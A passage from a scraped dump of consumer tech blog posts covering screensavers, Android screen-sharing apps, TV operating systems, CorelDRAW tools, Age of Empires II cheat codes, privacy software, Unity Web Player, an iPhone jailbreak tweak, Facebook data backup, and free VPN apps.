you get back to work. Here are the Top 10 Best Screensavers for Windows 10.\n  1. Astronomy Picture of the Day   This is a screen saver that is perfect for you if you are a lover of astronomy, studying the stars. Astronomy Picture of the Day randomly takes images of the sky, galaxies, satellites, . from the official NASA website. The image appears sharp and gorgeous, and requires an internet connection to download!\n2. Apple Aerial View   So what if you are a fan of the famous Apple tech brand? Make your Windows PC look like an iMac. This Screensaver allows you to get the aerial footage from your Apple device. The source of the image comes from Apple itself, so you'll also need the Internet for it to work.\n3. Wikipedia   A bit drier than the others on this list, but arguably the most valuable screen saver. You can acquire knowledge at all times just by looking at your screen. The program will automatically display a random Wikipedia page every time it is active.\n4. NES Screen Saver   There is no one who does not experience a great childhood with \"4 button\" games (ROM) on systems like NES, SNES or PlayStation. To \"commemorate\" that time, you can use NES Screen Saver. When the screen enters standby mode, a random video game will pop up, making the computer appear to be working.\n5. Briblo   It is difficult for a Lego fanatic to resist the attraction this screen saver creates. Briblo is not only beautiful to look at, when Lego blocks automatically stack up, you can also interact and create your own master cubes. It's like a 3D game of Tetris.\n6. IMAX Hubble 3D   Regarding the 2010 documentary about the famous Hubble telescope repair mission, this screen saver gives you a perspective that is like from Hubble's eyes. You can observe beautiful images of matter moving in outer space. Documentation is taken from Hubble's official website.\n7. Helios   One of the most beautiful screensavers, Helios generates purple bubbles, automatically reacting to each other, and constantly moving around on the screen. You can make various adjustments like changing the number of bubbles on the screen, blurring the motion and even limiting the frame.\n8. Another Matrix   Inspired by the horror movie of 199, The Matrix, this screensaver brings limitless code to your screen. Your computer will now look extremely \"dangerous\" to strangers. You also get basic adjustments like how fast the characters drop, font type, and how much or less dense.\n9. Autumn Wonderland 3D   With pleasant cold weather, the falling gold pieces create a beautiful view, who doesn't like autumn? Autumn Wonderland 3D is a pronounced autumn scene with golden colors standing out on the screen. Although there doesn't seem to be a lot of movement in this frame, we can still feel the softness of autumn.\n10. Plane9   This is probably the screen saver with the most impressive effects. Plane9 displays 3D graphics containing over 250 beautiful and surreal scenes. You can even combine these scenes to make them move smoothly from one scene to another.\nWhat's more, Plane9 moves to whatever track you're playing on your PC at the time via Spotify or iTunes. So turn on your music regularly and let the screensaver show the best visual effects!\nWe have just reviewed 10 of the best Screensavers on Windows 10. Have the most enjoyable experiences!\nScreensaver ncG1vNJzZmismaXArq3KnmWcp51kwbC8jGpnZpqVqMFuv8KrnJ6mo5bDpr6Mqamon6KWurR5xaipZq%2BZo7Gww9JmaGk%3D\n","link":"/post/top-10-best-screensaver-programs-for-windows-10/","section":"post","tags":null,"title":"Top 10 Best Screensaver programs for Windows 10"},{"body":"Not every day, but there will be times when screens need to be shared between two Android devices. For example, your mother, father, grandparents, or even friends have problems with the phone and need help from you. In those situations, the screen sharing application allows you to guide them on how to do it correctly without much trouble. Here are some of the best screen sharing apps for Android that you can use for free.\n1. TeamViewer Quick Support TeamViewer is one of the most popular and free apps that can help quickly share and control Android devices from an Android device or any other device. If you've ever used TeamViewer, you probably know that it not only allows sharing screens over the internet but also has the ability to remotely support. So is TeamViewer Quick Support. It works as a server and allows you to share your Android screen with another Android device or computer. It even allows remote users to control your device directly. Remote support is useful in troubleshooting situations where you cannot solve or do not know how to use or access a specific installation / application on your device.\n  Just like on a computer, using this application on Android is quite simple and easy to understand. When opening the application after installation, TeamViewer will create a unique ID for your device. Share that ID with the person or device you want to share the screen with. To access your device, that person or device must have TeamViewer to install TeamViewer for Remote Control. When entering a unique ID into the application, the screen sharing feature will be started.\nIf you want to allow users to remotely control your device, you must install an add-on, depending on your Android device's manufacturer. You can easily install the add-on by clicking the ' Install Additional Add-on ' option that appears in the Advanced Settings window.\nProject your Android screen to another Android - Yes Control your Android phone from Android remotely - Yes (with the help of an Add-on) Price: Free for personal users. Linh download: https://play.google.com/store/apps/details?id=com.teamviewer.quicksupport.market 2. Inkwire Screen Share and Assist Inkwire Screen Share and Assist is a very simple application that allows you to share your Android screen with other Android devices. It is designed by the same manufacturer of the best applications in this area such as Vysor, AllCast, ROM Manager and ClockworkMod Tether.\n  One plus point with Inkwire is that it is very light but still has useful features like voice chat. For remote users, although the application does not have remote control features, it allows them to draw on the screen. This feature is especially useful when you are helping users during troubleshooting or just want to guide them on how to use the application on an Android device.\nMoreover, unlike TeamViewer, you don't need to have two different applications to share the screen. Just share the unique ID displayed to the person you want to share the screen with. If you wish, you can even access screen sharing on any computer browser using the link provided on the main screen of the application.\nProject your Android screen to another Android - Yes Control your Android phone remotely Android - No Price: The application is completely free. Link download: https://play.google.com/store/apps/details?id=com.koushikdutta.inkwire 3. JoinMe JoinMe aims at meetings and professional users who want to share their screens with multiple users with just a few taps. Although JoinMe can easily share screens between two Android devices, it can also share a personal link. Using that link, any user can easily access your screen sharing instantly on any device. If you don't want to provide your personal JoinMe link, the application also has the option of creating a one-time code that allows temporary access to screen sharing.\n  Other features of the application include: unlimited user addition when sharing screens, the ability to chat with shared users, voice chat via VoIP, the ability to zoom in and out of the split screen sharing, the ability to lock and unlock meetings and can open video conferencing when needed, the ability to exchange and share screens with other users etc. Unlike other apps on this list, you need to create JoinMe account to use the application (takes about thirty seconds).\nProject your Android screen to another Android - Yes Control your Android phone remotely Android - No Price: Free base application but limited to three users and three video feeds. Can display ads (not often). For advanced features, you need to register for Pro packages for $ 20 / month or Enterprise packages for $ 30 / month. Premium version: The number of users and increased video feeds, unlimited audio and international conference streams, customized, whiteboard support, sharing control, cloud storage, etc. Free download link: https://play.google.com/store/apps/details?id=com.logmein.joinme 4. RemoDroid RemoDroid is a very simple application that makes it easy to share your Android screen with other Android users. However, unlike the above shared apps, RemoDroid will not support sharing screens over the internet. Instead, you can only share screens with Android users on the local network. Moreover, although it allows you to control remote devices while sharing screens, this operation requires root permission. If your device is not rooted, you cannot activate or use remote support on RemoDroid. Furthermore, because RemoDroid runs on an internal IP address, you can use the internal IP address to access your device from the browser on your computer. Of course, if your device is rooted, you will also be able to control the device remotely.\n  If you are looking for a simple and compact application to share your Android screen on an internal network between Android devices, then RemoDroid is a pretty good choice. This is a free application, so try to see if it suits your needs.\nProject your Android screen to another Android - Yes Control your Android phone from Android remotely - Yes, if you have ROOT access Price: Free Link download: https://play.google.com/store/apps/details?id=de.im.RemoDroid 5. ApowerMirror   Like RemoDroid, ApowerMirror only works on local network. However, it is much more powerful than RemoDroid and allows you to share your Android screen with any device running Android, iOS, Windows and MacOS. Although you cannot control the Android device remotely when sharing the Android screen with Android, you can do this when you are accessing the device remotely from the computer. Other features of the application include recording and screen capture capabilities, the ability to display Android notifications directly on the PC, the ability to send messages, etc.\nProject your Android screen to another Android - Yes Control your Android phone remotely Android - No Price: Free. Download link: https://play.google.com/store/apps/details?id=com.apowersoft.mirror Above are some of the best Android apps for projecting your Android screen with other Android devices. Although all applications support screen sharing, only TeamViewer has remote support, but also requires a special add-on. RemoDroid can also support remote access if you have root access. But in general, there is no simple application that has the same remote control capabilities as the PC.\nShare your thoughts and experiences about using the app above in the comments section below!\nSee more:\n5 ways to share files between two smartphones close together Share files between your PC and smartphone Android effectively with Asus File Manager How to share data between devices without installing software ncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5krJuimrKvedKhmKuhnpx6orzPpaCcmaSevK%2B%2FjJucra%2BVmrtuwNaoZJqmlKe8qrCMnZyvoZOawA%3D%3D\n","link":"/post/top-5-screen-sharing-applications-between-two-android-devices/","section":"post","tags":null,"title":"Top 5 screen sharing applications between two Android devices"},{"body":"Up to now, you only pay attention to the operating system on the phone and the computer but forget the operating system on the TV. Refer to our article for more information, the advantages and disadvantages of the 4 current TV operating systems!\nYou are wondering what operating system to buy TV to suit your daily needs? What advantages and disadvantages will each operating system be? Please refer to our article to get the answer!\nAndroid Some TVs use Android operating systems such as Sony, Toshiba, and Sharp .\nAdvantages Can install APK file - used to install software on the system, you can actively install more apps using this file. In the other 3 operating systems, you can only use the apps available in the app store. Bring entertainment experiences such as gaming, entertainment and listening to music to the best users Defect As for Toshiba's Android TV, users will find it inconvenient because the app store has many apps that are not compatible with the TV. In addition, some TVs require users to use 2 remote controls. Multi-icon interface makes it difficult for users to distinguish and recognize.   Tizen operating system The most special Tizen operating system TV is Samsung. This technology giant has integrated the Tizen operating system since 2016, giving customers an enjoyable and convenient experience.\nAdvantages Good interface and design. The total interface occupies only 1/3 of the screen area, with simple symbols, making it easy for users to use. Connect with many different technology, electronic devices such as tablets, smartphones . Allow 2-way data transmission, you can watch video in phone on TV screen and vice versa. There is no need to enter the search manually, you can use the TV's built-in 'Voice'. Lock app helps you protect your information and access more securely, especially for families with young children. Tizen TV operating system has a rich application store, many interesting channels and programs for entertainment and learning. Defect Notation capabilities and compatibility with peripheral devices are not yet well optimized. The overall interface of the operating system may make it difficult for those who rarely use smart TV to use it.   WebOS operating system WebOS is not the original TV operating system produced by LG, but this is the \"darling\" of the company, invested by LG in the development and exclusive application for all LG Smart TVs.\nAdvantages User-friendly interface, icon layout and items are designed to be easy to observe, logic, suitable for all users. Superior 360 degree VR technology brings a sense of authenticity and perfection to every angle for viewers. Magic Link mode helps users to discover more videos related to personal interests. With WebOS 3.5 version, you can rest assured that all personal information is kept confidential. LG has proven this with the CAP2009-1 certification. Defect Sometimes the voice search app doesn't work very well. The application store is not fundamentally diverse and plentiful.   Linux operating system Advantages High stability. Every time a new version is released, old bugs are fixed and updated quickly. Safe and secure. Operation is smoother and supports frequent upgrades even with low profile TVs. Defect External support applications are limited and not diverse The control does not support voice search. General assessment In terms of interface, WebOS will be more appreciated for its simple and straightforward design.\nIn terms of features and applications, Android TV stands out because it supports installing APK files.\nTizen and Linux are assessed to be stable, not having any outstanding features compared to the two above operating systems.\nncG1vNJzZmismaXArq3KnmWcp51ksLC5z5qpnmVkYrC2vtGepa1lpKt6sLzEq5itoZ6cerTF0q2cpqs%3D\n","link":"/post/compare-4-current-tv-operating-systems/","section":"post","tags":null,"title":"Compare 4 current TV operating systems"},{"body":"  On CorelDRAW12's screen, the toolbar is always on the left side of the screen. You can move any position on the screen so that it is easy to use. If the toolbar is not displayed, open it by selecting: Window - Toolbars - Toolbox . * General introduction about the tools of CorelDRAW 12: Pick Tool: Tool to select objects on the drawing page Shape Tool: Tool to edit objects (we can change the shape of objects, add or subtract objects of the object and can edit straight lines into curves or curves to straight lines) Bezier Tool: Group of line drawing tools Text Tool: Input tool Rectangle Tool, Ellipse, Polygon Tool, Basic Shapes: Group Basic drawing tools such as: squares, circles, polygons and other basic types Free Rotation Tool: Free rotation tool Free Scale Tool: Free image retrenchment tool Roughen Brush: A group of tools that make roughness or smoothness Free Transform Tool: Free shape transformation tool Artistic Media Tool: Art brush tool Interactive Blend Tool: Group of tools to mix, create shadows, create layers Outline Tool: The group draws the contours Interactive Fill Tool: A group of color mixing tools    Figure 2\nEye Dropper Tool: Tool to copy colors Fill Tool, Interactive Fill Tool: A group of coloring tools for objects Knife Tool: Cutting tool Eraser Tool: Photo eraser tool Hand Tool: Tool used to move the screen Zoom Tool: Tool to zoom in and out of objects Smart Drwing Tool: Figure drawing tool (Figure 2). * Pick Tool: \n Pick Tool (Pick Tool) does not directly create shapes for objects but it is very necessary and very much used in the drawing process. Color copy tool Color grouping tools for object Image cropping tool Eraser tool Tool for moving the screen Tool to zoom in, zoom out objects Drawing tools (Figure 2). Pick Tool (Pick Tool) does not directly create shapes for objects but it is very necessary and very much used in the drawing process.\n Figure 3\nProperties of the selection tool:\n- Select object: To select an object, select Pick Tool click on the object or its contour. The selected object will appear 8 surrounding black squares called control points, the slash in the middle is the center of the object (Figure 3). When the object is selected, the information will be displayed in the status bar, also known as the properties bar (Figure 4).\n  - Select multiple objects: Method 1: To select multiple objects, hold down Shift and click to select each object and vice versa holding Shift select the object selected again, we remove that object. Method 2: Click and hold and drag the mouse to create a selection around the objects you want to select. - Moving objects: To move the object, hold down the drag and move to the position where you want to place the object and then release.\n Figure 5\n- Rotating object: \n Double-click on the object, click on one of the object's four rotating points and drag in the direction you want to rotate and release the mouse (Figure 5). - Drag the object: Double-click on the object, click on one of the object's four rotating points and drag in the direction you want to rotate and release the mouse (Figure 5).\n Figure 6\nJust like rotating an object but clicking on one of the four skewed positions (two arrow heads). If you want to skew the object in any direction, pull it in that direction (Figure 6).\n- Change the size of the object: Select the object, click on one of the 8 black handles around the object, drag the mouse close to the center or away from the center, then release to minimize or enlarge the object. - Delete object: To delete one or more objects, select one or more objects and press the Delete key to delete. Lam Khe\nncG1vNJzZmismaXArq3KnmWcp51ksLC%2BxKWbq5mnZn9uuMSsqqimXWh6tcXPnqpmp5ZiwbC7y6xkrJ2cmrC1tc6nZK2nn6E%3D\n","link":"/post/coreldraw12-lesson-3-types-of-tools/","section":"post","tags":null,"title":"CorelDRAW12 - Lesson 3: Types of tools"},{"body":"You need way more resources that what you've got if you're going to build enough soldiers to keep your empire alive, let alone thriving. This game can be tough, and winning depends intensely on your ability to strategize.\nThe following will explore some of the more crucial cheat codes that you might want to have in mind for those critical moments where your whole society is about to collapse. As with any and all cheat code use, be sure to be honest with friends if you're playing multiplayer games. Agree beforehand whether cheat codes will be allowed or not, and stick to your word.\n  How To Use Cheat Codes In Age Of Empires II Before you learn about specific cheat codes and their application in the game, you might want to learn how to enter cheat codes at all in the game. It's really simple; all you need to do is press the [ENTER] key on your keyboard. This will present you with a box within which you can type. You enter the code, press [ENTER] again, and enjoy the results.\nResource Specific Cheat Codes Maybe you don't want to be doing anything too crazy with your cheat codes. Maybe you just need a bit more food, gold, wood, or stone. Each of these resources is fairly easy to increase using one of the following codes:\nIncrease food by 10,000: cheese steak jimmy's Increase gold by 10,000: robin hood Increase wood by 10,000: lumberjack Increase stone by 10,000: rock on Given how valuable resources are in the game, these codes can be incredibly useful. If used properly, you won't need to train many villagers. This can save you further resources and time. To gain 10,000 of each resource at once, enter: ninjalui.\nFaster And Immediate Builds Sometimes it isn't the resources we're struggling with, but it's the time. Sometimes we've got a long cue of buildings or soldiers waiting to be trained. If this is the case, you might want to enter: aegis into the cheat code box. This will result in instant building; the moment a villager has touched the new construction, it will be completed. You can imagine how useful this would be when building walls or watch towers during an attack.\nThis cheat code might also prove useful if you want to play around with strategy development. You can set certain types of soldiers against each other and observe the results without having to complete a full gameplay. Figuring out the best strategies to use (especially against that one friend that always seems to win) is part of the reason video games are so good for our brains. Once you start playing with this code to test your theories out, you might notice your gameplay drastically improves.\nExploration If Ages of Empires has taught us nothing about medieval warfare strategy, it's that the fog of war, or more simply, not being able to see what other people are doing, can result in some pretty precarious situations. We might be building just a short walk away from some watchtowers or enemy soldiers; we might not know that someone is on their way to make our lives especially difficult. There are two codes that can be of great use in this regard: Marco will reveal the entire map to you, allowing you to choose places to build and defend and make use of the terrain and resources available. Polo will get rid of the fog of war, allowing you to have a better understanding of your enemies and what they're up to.\nIf You're Playing The Definitive Edition If, however, you're playing the definitive edition (which is basically a remaster of the original came Age of Empires II: The Ages Of Kings with better graphics, new campaigns, and 4K support), you're going to need updated cheat codes. This website has up-to-date codes that can help you with the version of the game released in 2019. It's worth noting that the newer version will require you to bypass anti-cheat and does not allow for cheat codes in multiplayer mode.\n  Where Can You Get Age Of Empires II? There are a fair few Age of Empires games, and all are worth playing. The games are available at both the Microsoft Store and on Steam. You might also be able to find the old-school CD ROM of the game if you keep your eyes open at second-hand gaming shops.\nThe above tips should help you embrace cheat codes and use them to better your game in Age of Empires II. Good luck and happy gaming!\nAge of Empires II Microsoft Store ncG1vNJzZmismaXArq3KnmWcp51krqixjKidZp2dpbazsdJmoKJllJqzqrrIraCvnV2asarAyKilZpuYmq61v4ytn5qsXaK2qLTTZqCnrJWnsrTAjLKmrg%3D%3D\n","link":"/post/definitive-edition-cheats-that-might-interest-you/","section":"post","tags":null,"title":"Definitive Edition Cheats That Might Interest You"},{"body":"Recently, reports have shown that technology spying is on the rise. Therefore, it is necessary to protect your data and privacy with encryption software. The following article will introduce you to some great encryption software for Windows, iOS and Android.\nWhat is data encryption? Things to know about data encryption How to be able to encrypt and protect files or folders? 1. Encrypt the drive: Veracrypt   \nThe Bitlocker drive encryption tool from Windows allows you to encrypt the contents of your hard drive to protect against someone accessing your computer and stealing your data. If you trust an open source tool, Veracrypt is a great free encryption software for Windows.\nDownload : Windows\nInstructions for USB encryption with VeraCrypt 2. Virtual private network: IVPN VPN, or virtual private network, creates a secure tunnel through the Internet, encrypting your data as it travels over a public network. VPNs can limit geographical content restrictions and evade content filtering and censorship. You can find free and paid VPNs, but unless your needs are small, you should subscribe to a reliable service such as IVPN.\n  With $ 8.35 a month, you can run IVPN on three devices including Windows, Mac, iOS and Android and access nearly three dozen servers in 13 different regions.\nDownload : Windows\n11 best VPN software 3. Email: ProtonMail   \nAlthough Gmail works quite well in protecting your privacy, it scans your email to show relevant ads. However, if this worries you, use ProtonMail email service. It provides free end-to-end email encryption via iOS, Android applications and web-based email\nDownload : Android, iOS\n5 best ways to encrypt files before sending Email 4. Messaging: Signal Private Messenger   \nBoth Whatsapp and Facebook Messenger provide end-to-end encryption for messages. And both rely on encryption technology from Open Whisper Systems, Signal's trusted end-to-end encryption application maker. Signal Private Messenger supports iOS and Android and the desktop version, you just need to link to your mobile account and make voice and video calls and send secure text messages.\nDownload : Windows, iOS, Android\n5. Cloud services: Mega Sync Client and Cryptomator Google and other cloud services can encrypt what you store on their cloud servers, but you are often limited to control over data being encrypted and who can decrypt it. If you want more control, use Mega services, it handles encryption and decryption allowing you to control your data.\n  Mega gives you 50GB of free cloud storage with your files encrypted and decrypted, allowing you to control encryption. 4TB of storage is only for $ 10 a month or less.\nHowever, if you don't want to switch to the cloud service, try Cryptomator, which lets you store encrypted files on Dropbox, Google Drive, OneDrive, and other cloud services.\n  Download : Mega Sync Client for Windows\nDownload : Cryptomator for Windows\n6. Web browser: Tor Browser   \nThe Tor browser is designed to keep your Internet traffic private, allowing you to surf and chat anonymously. Tor includes a modified Firefox browser and a set of tools to keep anonymous information.\nDownload : Windows, iOS, Linux\nncG1vNJzZmismaXArq3KnmWcp51ks6q4xGacp5uirr21tc6nZKynlqnEor7EZpinnF2lv6rCwJywZqiipMGmr9OipqdlnZrAtK3Gnqo%3D\n","link":"/post/file-encryption-software-and-privacy-protection-messages/","section":"post","tags":null,"title":"File encryption software and privacy protection messages"},{"body":" Free software Version: 5.3.8 Update date: September 23, 2020 Platforms: Windows, Mac Download Unity Web Player 5.3.8 here\nUnity Web Player enables smoother, more detailed 3D graphics commonly used in indie games.\nUnity Browser Plugin is compatible with several web browsers, including Google Chrome, Mozilla Firefox, Safari, Opera and Internet Explorer. While the plugin focuses on game development in Unity's native game engine, it also supports content from other leading developers and designers. If you install this plugin on your Windows PC, you'll have access to some impressive games right in your browser.\nJust like the company's original game engine, Unity Web Player is the web-based version of the excellent graphics engine. With its advanced rendering technology, the platform allows you to load 3D applications and games across multiple Internet browsers. Since it is compatible with most browsers, you can use Unity Web Player on many different devices.\nThe lightweight download package can be installed on the computer within seconds. The development team's official website uses impressive illustrations and graphics to explain what this technology can do in terms of content. The platform's control panel allows you to customize various settings, including cache, memory, graphics, etc.\nWith Unity Web Player, you get instant access to next generation 3D graphics. Due to the credible results the development team has done, the platform has become immensely popular around the world. In fact, people love that Unity supports multiple platforms, such as desktops, mobile devices, TVs, Web, VR, AR, consoles, etc.\nSince almost everything in the game is being transformed from local devices to the web, Unity Web Player seems like a great choice for hardcore gamers and 3D game fans. Compared to GameLoop and other similar programs that focus on emulating Android devices, Unity Browser Plugin is a much better choice for enjoying 3D games on your PC.\n  Features of Unity Web Player Lots of great content and graphics If you are already into game development or simply love playing 3D games on your PC, you must have heard of Unity Technologies. The company uses a trusted game engine to design and develop a wide range of titles for fans around the world.\nIn simple terms, Unity is one of the leading multi-platform, multi-platform 3D and 2D game tools. The company's web-focused 3D game development platform is Unity Web Player, available for Windows and Mac devices as a browser plugin.\nA simple plugin for the browser Compared to similar programs in this category, there isn't much to criticize Unity Web Player. The only drawback is that the high-end graphics can mean that some games will be quite heavy on system resources. In addition, you need a stable Internet connection to load games quickly. While these downsides will be frustrating, they should not be a deterrent factor for hardcore fans or gamers.\nWith Unity Web Player, you'll be able to play games with stunning graphics and sound effects right in your browser. Furthermore, you will be able to access a wide variety of 3D content and information online. Since this plugin automatically updates in the background and doesn't cause any lag, it's a great option for Windows as well as Mac devices. This freeware is probably one of the best plugins for your browser.\nFor details on how to use this tool, read the article: How to install Unity Web Player to play 3D games.\nAdvantages\nImpressive graphics Easy-to-use plugin Supports some games Lots of content Defect\nNeed a stable Internet connection Unity Web Player ncG1vNJzZmismaXArq3KnmWcp51kwq%2B107JksJ2SYr2trdieqWZtY216qL7EmqtmrJ%2BkuW6yzqtkqaSRrravs4xsm2afkaKytA%3D%3D\n","link":"/post/great-tool-for-playing-3d-games/","section":"post","tags":null,"title":"Great tool for playing 3D games"},{"body":"Notifications on iPhone or widget will default colorless, with a faint background design. If you want to change the notification interface to become newer, users can install the Palette tweak. This tweak will create notification colors on the lock screen, home screen and widget interface. We can choose colors according to the background color of the installed application. The following article will show you how to install the Palette tweak on the jailbroken iPhone.\nHow to customize notifications on iPhone How to adjust the dock and show the iPhone multitasking How to change the color of iPhone lock screen music player interface Instructions to change iPhone notification color Step 1:\nTweaking the current Palette has been released for free from Cydia's Packix repository. You just need to search Cydia to download. Or go directly to the link below.\n https://repo.packix.com/package/ch.mdaus.palette/      Step 2:\nAfter installation is complete, go to Settings and select Refine Palette to proceed custom. First, the user needs to activate the tweak by turning the horizontal bar to the right at Enabled .\nNext to the user will see there are large items to set up including Banner, Lockscreen and widget.\n   Step 3:\nWhen clicking on each large part, there will be a group of different color custom components. For example, I will click on the Banner section will have the Enable section to enable the background color. Then select the type of blurring and choose the color type for the label.\n   Step 4:\nGo under the Coloring section to edit the main background color, choose the background color for the banner.\n  Step 5:\nHeader section to adjust the title on the message displayed on the iPhone and Underline screens to adjust the underline for user notifications if desired. Finally when you have finished editing, click the Respering button to apply the change.\n  Go back to the interface when it comes to notice that there will be more colors. The widgets also change the eye-catching color.\n   The music playback interface in the lock screen or the Control Center is also changed in color.\n   With Palette refinement on the iPhone, we will have many options to alter the notification and widget interface, here is to add the color and content elements of the notification. Users will choose to edit banner, lock screen, widget interface with separate options. Tweaking the Palette will work on devices that have jailbroken iOS 11.\nSee more:\nHow to bring Auto Lock to Control Center iOS 11 How to add a shutdown button, reboot into Control Center iOS 11 Change keyboard color with Laetus - Tweak on iOS 11 I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmUn8K0wIytn55lnqTBqrLInJitoZ%2BjeqS7y6ipZpmemXqqvMeopZ5lp56xqLHT\n","link":"/post/how-to-adjust-the-notification-color-and-iphone-widget/","section":"post","tags":null,"title":"How to adjust the notification color and iPhone widget"},{"body":"Before permanently deleting your Facebook account, or temporarily, we usually download a backup copy of all data including images, videos, etc. The Facebook data backup will be the default zip file for you to extract after downloading. down. And recently, the Download the Facebook Data Copy feature has updated the content, more detailed and more options.\nInstead of downloading data compiled from Facebook, you can set up the content you want to back up according to your needs. We can filter data by categories such as Photos, Comments, Friends, . or choose from time to time to download HTML or JSON files. The following article will guide you how to use the updated Download the Facebook data copy feature.\nHow to recover deleted messages on Facebook How 2-layer security for Facebook? How to recover deleted messages on Facebook Instructions for downloading Facebook data on computers Step 1:\nAt the Facebook account interface click on Settings .\n  Then in the General section click on Download your copy of Facebook data .\nOr you can quickly access the link below.\nwww.facebook.com/your_information   Step 2:\nIn the Download your page view, we will see more new information items, including Your Information and Information about you.\nYour information will include the information entered, uploaded and shared on Facebook such as personal page information, posts, likes, and comments.\nPosts: Posts shared on Facebook, posts hidden from the timeline and polls you have created. Photos: Photos uploaded and shared. Video: Uploaded and shared videos. Comment: Comment posted on your own posts, other people's posts or in your group. Likes and emotions: Posts, comments and pages you've liked or expressed emotions. Friends: People who connect with you on Facebook. Following and followers: Individuals, organizations, or businesses you choose to view content and your followers. Messages: Messages sent / received with others on Messenger. Groups: Participating groups, groups you manage and your posts and comments in those groups. Events: Your feedback to the events and events list you created. Personal page information: Your contact information, the information you wrote in the About yourself section on your personal and Event page. Page: Your site is an administrator. Marketplace: Your activity on the Marketplace. Payment history: History of payments you make via Facebook. Saved items: List of saved articles. Your location: List of created places. Other activities: Activities linked to your account, such as Number of pokes you make and receive.   Information about you will be the information associated with your Facebook account, such as Facebook login device, history of searches, .\nAdvertising: The advertising theme is most relevant to you, which advertisers have gathered information directly from you and the information you sent to advertisers. Search history: Search history on Facebook. Location history: Accurate location history via Location Services on the device. Calls and messages: Call log and selected messages shared in device settings. About yourself: Information associated with your Facebook account. Login and security information: History of logins, log out, time you worked on Facebook and Facebook access device. Network information: Information about the network you use   Step 3:\nNext, the user will select the time period to download the data, format the copy in the file format of HTML or JSON and Media quality (high, medium, low).\n  Step 4:\nThen go to the data items. Your information and your information below, what data you do not need to create a backup of the data will be removed from the square. Finally click the Create file button above.\n  We will then receive a message that your file is being processed.\n  When this process is complete, Facebook will send a notification to the user and you need to click on the message.\n  Step 5:\nAt the new interface we will see the File section showing the backup file, with copy size and creation time. This capacity is large or not, depending on the length of time the user chooses to back up, the content they want to backup.\nClick the Download button at the side to download the file.\n  Step 6:\nAt this time, Facebook will ask us to enter the Facebook account password for security reasons. Click the Submit button .\n  Step 7:\nThe downloaded file will be in zip format and you need to extract the file to open the data.\n  Data content on Facebook will be much more detailed, divided into separate folders.\n  Click on the directory to check and will see the HTML data content. Just click to open the content.\n  The data content will look like the image below, for example with comments and emotions in the Facebook post you made. Each information will be accompanied by the content and the execution date so you can check back.\n  Facebook is constantly updating new features to protect personal Facebook account information, including the Download Backup feature. All information on your Facebook account will be much more detailed and clear.\nSee more:\nCheck what Facebook \"knows\" about you How to secure your Facebook account so it won't be hacked? How to prevent Facebook from collecting information to advertise I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqRmLi2vIyfmJydkqS8rHnDmquaZaSkerq71KtknKedpcK1sdE%3D\n","link":"/post/how-to-backup-facebook-data-to-your-computer/","section":"post","tags":null,"title":"How to backup Facebook data to your computer"},{"body":"As you know, recently adult content sites have been blocked by network operators, or the problem of slow Internet status due to [ AAG optical cable is cut ]. Even foreign money-making games / apps often block Vietnam's IP address, possibly because many brothers cheat hard or a special reason.\nHow to fix the problem is fake IP or use VPN software to change the address of the machine you are using. However, many brothers encounter problems when they are only used for a short time, they will require a fee to continue using.\nThe following article I will show you three free and secure IP fake applications on Android / iOS, which are WARP 1.1.1.1, Touch VPN and Turbo VPN.\n1. How to fake IP on phone with WARP 1.1.1.1 [ Warflare ] 's Warp 1.1.1.1 application is a fake ip service with a free domain name and server system.\nCloudflare also asserted : they will not store any data used to identify you and not unauthorized use of your information.\nThe VPN version you download on CH Play or the App Store is free by default for the Warp version but is limited in bandwidth. To get more bandwidth you can refer to other users, with each turn will be added 1GB.\nFor Warp +, there is an additional function that helps speed up and maintain stability when connecting to a VPN, which is good and can be applied when the optical cable is broken. The price is only about 23,000 VND and use for 1 month, so it is quite cheap to help fake ip to increase the bandwidth of the internet.\nStep 1: Go to CH Play / App Store and type keyword 1111 to find, then download or can access the download link directly in the store below.\nDownload WARP 1.1.1.1 for Android. WARP Application 1.1.1.1 IOS version.   Step 2: After downloading successfully and opening, you will see a notice of accepting the terms of the publisher -\u0026gt; then the main interface of Warp 1111 as shown. To make a connection, click the button in the middle of the screen (with the red arrow) .\n  When the connection is completed, the fake ip successful will be as shown below. If you do not want to use it anymore, you can press the button in the middle of the screen to turn it off.\n  Step 3: You can invite more friends to use or other users and will be added 1GB of space. In addition, you can buy for 23,000 VND to use for 1 month, otherwise go online and find a free key and then replace the Key item in Settings -\u0026gt; Account .\n  2. How to fake IP on phone with Touch VPN Touch VPN is a free app with no maintenance fees and supports many different countries. Allows you to access blocked websites and games for a certain reason.\nStep 1: Open CH Play / App Store and then type the keyword Touch VPN then download or can access the direct download link below.\nDownload Touch VPN Android version. Touch VPN app for iOS .   Step 2: After the download is complete, we open the Touch VPN application, then the Privacy Policy notice -\u0026gt; you select SKIP -\u0026gt; then click Okay to continue.\n  Step 3: This will be the main interface of the Touch VPN application, then select Best Choice to open the list of possible VPN countries.\n  Step 4: Select any country that you want to fake ip -\u0026gt; Next is the notification of Touch VPN, asking you to authorize the new application to connect. Now that you have succeeded, open your browser or game and enjoy it.\nNote: Countries with side locks will not work, due to restrictions.\n  3. How to fake IP on phone with Turbo VPN Turbo VPN is a free application created by Innovative Connecting that allows you to download on both Android and IOS operating systems.\nStep 1: You often go to CH Play / App Store and type Turbo VPN keyword then download or can access the direct download link below.\nDownload Turbo VPN link for Android. Link Turbo VPN version for IOS.   Step 2: Once the download is complete, open the app -\u0026gt; then, Turbo VPN asks to accept the terms of the publisher -\u0026gt; click I AGREE to agree.\n  Step 3: This is the main interface of the Turbo VPN application, select the earth (red arrow) to show up all locations you can fake ip. If you want to quickly, then click the carrot icon under the words Click to connect is the app will automatically connect to the nearest server.\n  Step 4: List of VPN Locations appears -\u0026gt; select any country you want to fake ip -\u0026gt; click OK to approve the connection request.\n  Step 5: So you have successfully fake ip with Turbo VPN application, now open your browser and surf the web freely.\n  Holding the dress together, each application has different strengths and weaknesses. It can be seen that, for WARP 1.1.1.1, it just supports Fake IP, speeds up and maintains Internet stability when using the Warp + function. It's free, but there aren't many countries to choose from and a VPN comes.\nTouch VPN, Turbo VPN are 2 free applications, there are many different countries to fake ip, but some of them must use the Premium function to use and not increase the network speed as 1111.\n4. Conclusion So I have finished instructions on how to fake IP on the phone with WARP 1.1.1.1 application, Touch VPN and Turbo VPN quite detailed and complete. These three applications will be the most useful solution when your favorite games, software and websites are blocked for some reason.\nHope the article above will be useful and do not forget to share to your friends. Good 